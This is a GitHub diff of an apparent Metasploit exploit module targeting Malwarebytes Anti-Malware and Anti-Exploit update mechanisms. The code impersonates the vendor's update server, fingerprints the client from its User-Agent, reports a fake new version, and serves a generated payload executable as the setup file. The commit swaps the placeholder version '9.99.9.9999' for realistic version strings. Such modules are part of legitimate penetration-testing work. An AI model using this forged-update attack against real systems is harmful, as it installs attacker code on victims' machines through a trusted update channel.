File tree Expand file tree Collapse file tree 1 file changed +8
-3
lines changed
modules/exploits/windows/browser Expand file tree Collapse file tree 1 file changed +8
-3
lines changed Original file line number Diff line number Diff line change @@ -58,6 +58,11 @@ def on_request_uri(cli, request)
5858 ua = request [ 'User-Agent' ]
5959 uri = request . uri
6060
61+ newvers = {
62+ 'mbam' => '2.0.3.1025' ,
63+ 'mbae' => '1.04.1.1012'
64+ }
65+
6166 unless agent = ua ? ua [ /^(\w {4})/ , 1 ] : uri [ /^\/ v2\/ (\w {4})/ , 1 ]
6267 print_error ( "User agent cannot be identified" )
6368 send_response ( cli , '' )
@@ -85,11 +90,11 @@ def on_request_uri(cli, request)
8590 return
8691 end
8792
88- print_status ( "Enforcing update to version 9.99.9.9999 " )
89- send_response ( cli , '9.99.9.9999' , {
93+ print_status ( "Enforcing update to version #{ newvers [ agent ] } " )
94+ send_response ( cli , newvers [ agent ] , {
9095 'Content-Type' => 'application/octet-stream'
9196 } )
92- when "/v2/#{ agent } /consumer/data/#{ agent } -setup-9.99.9.9999 .exe"
97+ when "/v2/#{ agent } /consumer/data/#{ agent } -setup-#{ newvers [ agent ] } .exe"
9398 print_status ( "Sending payload EXE..." )
9499 send_response ( cli , generate_payload_exe , {
95100 'Content-Type' => 'application/x-msdos-program'
You can’t perform that action at this time.
0 commit comments